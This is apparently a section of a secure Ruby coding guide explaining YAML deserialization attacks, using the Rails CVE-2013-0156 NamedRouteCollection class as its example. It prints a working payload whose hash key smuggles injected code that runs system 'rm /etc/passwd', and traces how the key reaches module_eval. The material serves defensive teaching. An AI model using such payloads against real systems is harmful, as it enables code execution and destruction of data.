Product SiteDocumentation Site

2.4.4. Exploiting deserialization vulnerabilities

To exploit deserialization vulnerability, there must already be a dangerous class loaded in the current namespace. In particular, it contains unsafe init_with() or []= methods, that get called during deserialization. This might seem like an unlikely event, however, its very likely in case of big projects like Ruby on Rails.
CVE-2013-0156 vulnerability in Ruby on Rails can be used as an example. A vulnerable class in this case was ActionDispatch::Routing::RouteSet::NamedRouteCollection, which contained code like this:
class NamedRouteCollection
alias []=   add

def add(name, route)
  routes[name.to_sym] = route
  define_named_route_methods(name, route)

def define_named_route_methods(name, route)
  define_url_helper route, :"#{name}_path",
    route.defaults.merge(:use_route => name, :only_path => true)
  define_url_helper route, :"#{name}_url",
    route.defaults.merge(:use_route => name, :only_path => false)

def define_url_helper(route, name, options)@module.module_eval <<-END_EVAL
    def #{name}(*args)
      # ... code

Even though module_eval is hidden under several layers of method calls, calling []= effectively passes first argument to the define_url_helper, where it gets evaluated.
To exploit vulnerable class, it is enough to deserialize YAML payload below:
--- !ruby/hash:NamedRouteCollection
foo; end; system 'rm /etc/passwd'; def bar: baz
Before deserialization, Ruby's YAML parser Psych first looks at the declared type, which says this object is an instance of NamedRouteCollection and subclass of Ruby's Kernel::Hash class.
Deserialization of hashes from YAML to Ruby makes use of []= method. Given YAML like
--- !ruby/hash:MyHash
key1: value1
key2: value2
deserialization process is equivalent to calling
newobj =
newobj['key1'] = 'value1'
newobj['key2'] = 'value2'
In the case of YAML payload, key and value pair is
['foo; end; system 'rm /etc/passwd'; def bar','baz']
so deserialization process will call []= method on NamedRouteCollection with key 'foo; end; system 'rm /etc/passwd'; def bar'.
This gets passed to define_url_helper as an argument and following code gets evaluated:
def foo; end; system 'rm /etc/passwd'; def bar(*args)
# ... code
Reordering the code above to be more readable, this is equivalent to
def foo

system 'rm /etc/passwd'

def bar(*args)
# ... code
end References